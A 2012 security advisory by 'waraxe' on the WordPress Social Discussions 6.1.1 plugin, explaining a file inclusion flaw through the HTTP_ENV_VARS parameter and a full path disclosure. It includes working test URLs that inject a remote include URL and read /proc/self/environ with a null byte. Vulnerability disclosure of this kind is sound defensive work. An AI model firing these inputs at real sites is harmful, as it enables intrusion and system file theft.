Wordpress Social Discussions 6.1.1 File Inclusion / Path Disclosure

`[waraxe-2012-SA#093] - Multiple Vulnerabilities in Wordpress Social Discussions Plugin  
======================================================================================  
  
Author: Janek Vind "waraxe"  
Date: 17. October 2012  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-93.html  
  
  
Description of vulnerable target:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Enables Social Sharing of your blog posts to 30+ Social Networks. Plugin also  
enables you to Automatically Publish or Self Publish your Blog Posts to 25+   
Networks.  
  
http://wordpress.org/extend/plugins/social-discussions/  
  
Affected version: 6.1.1  
  
###############################################################################  
1. Remote File Inclusion in "social-discussions-networkpub_ajax.php"  
###############################################################################  
  
Reasons: Uninitialized variable "$HTTP_ENV_VARS"  
Attack vectors: User-supplied parameter "HTTP_ENV_VARS"  
Preconditions:  
1. register_globals=on  
2. register_long_arrays=off  
3. allow_url_include=on for RFI if PHP >= 5.2.0  
4. PHP must be < 5.3.4 for LFI null-byte attacks  
5. magic_quotes_gpc=off for LFI null-byte attacks  
  
  
Php script "social-discussions-networkpub_ajax.php" line 2:  
------------------------[ source code start ]----------------------------------  
if (!function_exists('add_action')){  
@include_once($GLOBALS['HTTP_ENV_VARS']['DOCUMENT_ROOT'] . "/wp-config.php");  
------------------------[ source code end ]------------------------------------  
  
We can see, that script expects old-style array "HTTP_ENV_VARS" to be initialized  
and containing "DOCUMENT_ROOT" entry. But it appears, that if PHP directive  
"register_long_arrays=off", then "HTTP_ENV_VARS" is uninitialized and if in  
same time "register_globals=on", it is possible to fill that array with any  
value, leading to the RFI (Remote File Inclusion) vulnerability.  
  
  
Tests:  
  
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=http://php.net/?  
  
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=/proc/self/environ%00z  
  
  
###############################################################################  
2. Full Path Disclosure in multiple scripts  
###############################################################################  
  
Reasons: Direct request to php script triggers pathname leak in error message  
Preconditions: PHP directive display_errors=on  
Result: Information Exposure Through an Error Message  
  
Tests:  
  
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub.php  
  
Fatal error: Call to undefined function __() in  
C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2  
  
http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions.php  
  
Fatal error: Call to undefined function __() in  
C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2  
  
http://localhost/wp342/wp-content/plugins/social-discussions/social_discussions_service_names.php  
  
Fatal error: Call to undefined function __() in  
C:\apache_www\wp342\wp-content\plugins\social-discussions\social_discussions_service_names.php on line 3  
  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/forums.html  
Personal homepage: http://www.janekvind.com/  
Random project: http://albumnow.com/  
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